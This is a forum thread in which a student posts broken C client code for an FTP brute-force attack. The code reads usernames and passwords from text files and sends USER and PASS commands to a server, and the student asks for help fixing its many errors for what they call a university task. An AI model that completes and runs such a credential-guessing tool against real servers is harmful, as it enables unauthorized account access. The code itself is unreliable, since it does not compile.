473,320 Members | 1,978 Online
Bytes | Software Development & Data Engineering Community
Post Job

Home Posts Topics Members FAQ

Join Bytes to post your question to a community of 473,320 software developers and data experts.

server client application troubles

Hello,

I have developed a client server application using C.

i have a list of usernames and a list of passwords in a text file. i need to be able to do 2 loops so i can send the usernames and the passwords to the server and get a response back. basically its a ftp force attack to find the correct username and password. i have written most of the code but i'm kind of strugling to finish it off and sort out the errors. this is a task we have to do for university. i have tried different books and websites and still can't sort out the errors. i really need your help.

Any advice would be most helpfull

this is the client part
Expand|Select|Wrap|Line Numbers
  1. #include <stdio.h>                                                  /* for printf() and fprintf() */
  2. #include <sys/socket.h>                                             /* for socket(), connect(), send(), and recv() */
  3. #include <arpa/inet.h>                                              /* for sockaddr_in and inet_addr() */
  4. #include <stdlib.h>                                                 /* for atoi() and exit() */
  5. #include <string.h>                                                 /* for memset() */
  6. #include <unistd.h>                                                 /* for close() */
  7.  
  8. #define BUFSIZE 4096                                                   /* Size of receive buffer */
  9.  
  10. void DieWithError(char *errorMessage);                              /* Error handling function */
  11. void handeltcpclient(int sock, char *argv[]);                       /* Server handling function */
  12.  
  13. int main(int argc, char *argv[])
  14. {
  15.     int sock;                                                        /* Socket descriptor */
  16.     struct sockaddr_in echoServAddr;                                  /* Echo server address */
  17.     unsigned short echoServPort;                                      /* Echo server port */
  18.     char *servIP;                                                     /* Server IP address (dotted quad) */
  19.  
  20.     if ((argc < 2) || (argc > 3))                                     /* Test for correct number of arguments */
  21.     {
  22.        fprintf(stderr, "Usage: %s <Server IP> [<Port>]\n",argv[0]);
  23.        exit(1);
  24.     }
  25.  
  26.     servIP = argv[1];                                              /* First arg: server IP address (dotted quad) */
  27.  
  28.     if (argc == 3)
  29.         echoServPort = atoi(argv[2]);                             /* Use given port, if any */
  30.     else
  31.         echoServPort = 21;                                         /* 7 is the well-known port for the echo service */
  32.  
  33.     /* Create a reliable, stream socket using TCP */
  34.     if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  35.         DieWithError("socket() failed");
  36.  
  37.     /* Construct the server address structure */
  38.     memset(&echoServAddr, 0, sizeof(echoServAddr));               /* Zero out structure */
  39.     echoServAddr.sin_family      = AF_INET;                       /* Internet address family */
  40.     echoServAddr.sin_addr.s_addr = inet_addr(servIP);             /* Server IP address */
  41.     echoServAddr.sin_port        = htons(echoServPort);           /* Server port */
  42.  
  43.     /* Establish the connection to the echo server */
  44.     if (connect(sock, (struct sockaddr *) &echoServAddr, sizeof(echoServAddr)) < 0)
  45.         DieWithError("connect() failed");
  46.  
  47.     handeltcpclient(sock, argv);
  48.  
  49.     close(sock);
  50. }
  51.  
this is the handeltcpclient.c
Expand|Select|Wrap|Line Numbers
  1. #include <stdio.h>                              /* for printf() and fprintf() */
  2. #include <string.h>                              /* for printf() and fprintf() */
  3. #include <sys/socket.h>                         /* for recv() and send() */
  4. #include <unistd.h>                             /* for close() */
  5.  
  6. #define BUFSIZE 4096                            /* Size of receive buffer */
  7.  
  8. void DieWithError(char *errorMessage);          /* Error handling function */
  9. char sendBuf[BUFSIZE];                          /* Send Buffer */
  10. char rcvBuf[BUFSIZE];                       
  11. char rcvMsgSize[BUFSIZE];
  12. char srvBuf[BUFSIZE];
  13. char clntBuf[BUFSIZE];            
  14. char USER[15];
  15. char PASS[15];
  16. FILE *fileuser;
  17. FILE *filepassword;
  18. int MsgSize;
  19. int result;
  20. char response[3];
  21.  
  22. void handeltcpclient(int clntSocket)
  23. {
  24.  
  25.  
  26.                     /* Recieve message from client */
  27.             memset(&rcvBuf,0,sizeof(rcvBuf));
  28.             rcvMsgSize = RecieveMessage(clntSocket, &rcvBuf, sizeof(rcvBuf));
  29.  
  30.                     /* Recieve Server Responses */
  31.             memset (&clntBuf,0,sizeof(clntBuf));
  32.             memset (&srvBuf,0,sizeof(srvBuf));
  33.             MsgSize = RecieveMessage(clntSocket,&srvBuf, sizeof(srvBuf));
  34.  
  35.             printf("Recieved: %s" &srvBuf,rcvMsgSize); 
  36.  
  37.            response = strncpy(&srvBuf, 3);
  38.          result = strcmp( result, "230");
  39. if( result == 0)
  40.         {
  41. sprintf(&clntBuf, "USER %s", USER);
  42. send(clntSocket, &clntBuf, strlen(clntBuf), 0)!= (strlen(clntBuf));
  43.      DieWithError("send() sent a different number of bytes than expected");
  44.  
  45.  
  46. printf("Recieved: %s" &srvBuf,messageSize); 
  47.  
  48.  
  49.  /* Opening username.txt to selecting USER */
  50.  
  51. if (fileuser = (fopen ("usernames.txt", "r")) ==NULL)
  52.     {
  53.     printf("Error opening file.\n");
  54.     return 1;
  55.     }
  56.  
  57. else     {
  58.     printf ("File opened.\n");
  59.     while (fgets(USER, 15, file != NULL))
  60.         {
  61.         printf("%s",USER);
  62.         }
  63.  
  64.      /*send USER to server*/
  65.     sprintf(clntBuf, "USER %s", USER);
  66.  
  67.  if (    send(clntSocket, &clntBuf, strlen(clntBuf), 0)!= (strlen(clntBuf)))
  68.      DieWithError("send() sent a different number of bytes than expected");
  69.  
  70. printf("The attemped username was: %s\n");
  71. return 0;
  72.  
  73. /* Recieve message from client */
  74.     memset(&rcvBuf,0,sizeof(rcvBuf));
  75.     rcvMsgSize = RecieveMessage(clntSocket, &rcvBuf, sizeof(rcvBuf));
  76.  
  77.    response = strncpy(&srvBuf, 3);
  78.    result = strcmp( result, "331");
  79. if( result == 0)
  80.         {
  81. sprintf(&clntBuf, "PASS %s", PASS);
  82. send(clntSocket, &clntBuf, strlen(clntBuf), 0)!= (strlen(clntBuf));
  83.      DieWithError("send() sent a different number of bytes than expected");
  84.  
  85. result = strncpy(&srvBuf, 3);
  86. result = strcmp(result, "230");
  87.  
  88. if (result == 0)
  89.         {
  90. printf("successfully connected.\n");
  91.         {
  92. sucess ++;
  93. }
  94.  
  95.  
  96. /* Opening passwords.txt to selecting PASS */
  97.     (
  98. if (filepassword = (fopen ("passwords.txt", "r"))==NULL)
  99.     {
  100.     printf("Error opening file.\n");
  101.     return 1;
  102.     }
  103.     (
  104. else     {
  105.     printf ("File opened.\n");
  106.     while (fgets(PASS, 15,file)!=NULL)
  107.         {
  108.         printf("%s",PASS);
  109.         }
  110.     }
  111.     /*send PASS to server*/
  112.  sprintf(clntBuf, "PASS %s", PASS);
  113.  
  114.  if (    send(clntSocket, &clntBuf, strlen(clntBuf), 0) != (strlen(clntBuf)))
  115.      DieWithError("send() sent a different number of bytes than expected");
  116.  
  117. printf("Closing file.\n");
  118. fclose(file);
  119. printf("The attempted password was: %s\n");
  120. return 0;
  121.  
  122. }
  123.  
  124. int RecieveMessage (int s,char *buf, int maxLen)
  125.         {    
  126.         int received = 0;
  127.         int rv = 0;
  128.         rv = recv(s, buf+received, 5, 0);
  129.         while ((received < maxLen) && (rv > 0) && *(buf+received) != '\n')
  130.         {
  131.                     received += rv;
  132.                     rv = recv(s, buf+received, 5, 0);
  133.         }
  134.         if (rv < 0)
  135.         {
  136.                     DieWithError("revc() failed");
  137.         }
  138.         return received;
  139.         }
  140.  
  141. /*end*/
this is the diewitherror.c (error handling file)
Expand|Select|Wrap|Line Numbers
  1. #include <stdio.h>  /* for perror() */
  2. #include <stdlib.h> /* for exit() */
  3.  
  4. void DieWithError(char *errorMessage)
  5. {
  6.     perror(errorMessage);
  7.     exit(1);
  8. }
Mar 1 '08 #1
0 1625

Sign in to post your reply or Sign up for a free account.

Similar topics

5
by: Matt | last post by:
I think this is the basic concept in ASP server-side development. My boss told me web application is NOT client-server application. I argued with him because browser is the client, and the server...
4
by: Patrick Masson | last post by:
Hello, Our configuration : Apache 2.0.53 PHP 5.0.4 PC Windows 2000 MATLAB 6.1 We work on a consulting project in France which involves MATLAB Web server,
6
by: Ken Allen | last post by:
I am relatively new to .Net and C#, but I hav ebeen programing in other languages and done some COM work for a number of years. I am attempting to understand how to map an older program...
0
by: Robin Day | last post by:
I have a page that contains some dhtml and uses client side cookies so store it's current state so that on clicking the "back" button to it the page will be as the user last saw it. However,...
4
by: Ricardo | last post by:
Hi, he has a problem at the moment w/ a datagrid in asp.net. There's about 10000 rows and 25 columns; when it loads there is an error that says the server application is unavailable. He can't do...
4
by: jens Jensen | last post by:
Hello, I was given the task to build a .Net client that will talk to IBM integration server via HTTP post. The idea is that each http packet exchange should be authenticated via X09 "client...
2
by: orp | last post by:
We are developing an ASP.NET 2.0 (C#) application, and I'm having troubles getting the ASP.NET app. to write to the event log when accessing the web site from a separate client computer. Here's...
0
by: Gen | last post by:
Hello there, I will try to be brief on this. I have a scenario, where I need to do the following things: 1. Save server generated data to a text file on the client computer 2. Start an...
18
by: maxhugen | last post by:
I have an Access app (split into FE and BE) running for some years, that is now also being used in a second office, connected by a WAN. This office has network problems, as it's over-utilized (97%...
0
by: ryjfgjl | last post by:
ExcelToDatabase: batch import excel into database automatically...
0
by: jfyes | last post by:
As a hardware engineer, after seeing that CEIWEI recently released a new tool for Modbus RTU Over TCP/UDP filtering and monitoring, I actively went to its official website to take a look. It turned...
0
by: ArrayDB | last post by:
The error message I've encountered is; ERROR:root:Error generating model response: exception: access violation writing 0x0000000000005140, which seems to be indicative of an access violation...
1
by: PapaRatzi | last post by:
Hello, I am teaching myself MS Access forms design and Visual Basic. I've created a table to capture a list of Top 30 singles and forms to capture new entries. The final step is a form (unbound)...
0
by: Defcon1945 | last post by:
I'm trying to learn Python using Pycharm but import shutil doesn't work
1
by: Shællîpôpï 09 | last post by:
If u are using a keypad phone, how do u turn on JavaScript, to access features like WhatsApp, Facebook, Instagram....
0
by: af34tf | last post by:
Hi Guys, I have a domain whose name is BytesLimited.com, and I want to sell it. Does anyone know about platforms that allow me to list my domain in auction for free. Thank you
0
by: Faith0G | last post by:
I am starting a new it consulting business and it's been a while since I setup a new website. Is wordpress still the best web based software for hosting a 5 page website? The webpages will be...
0
isladogs
by: isladogs | last post by:
The next Access Europe User Group meeting will be on Wednesday 3 Apr 2024 starting at 18:00 UK time (6PM UTC+1) and finishing by 19:30 (7.30PM). In this session, we are pleased to welcome former...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.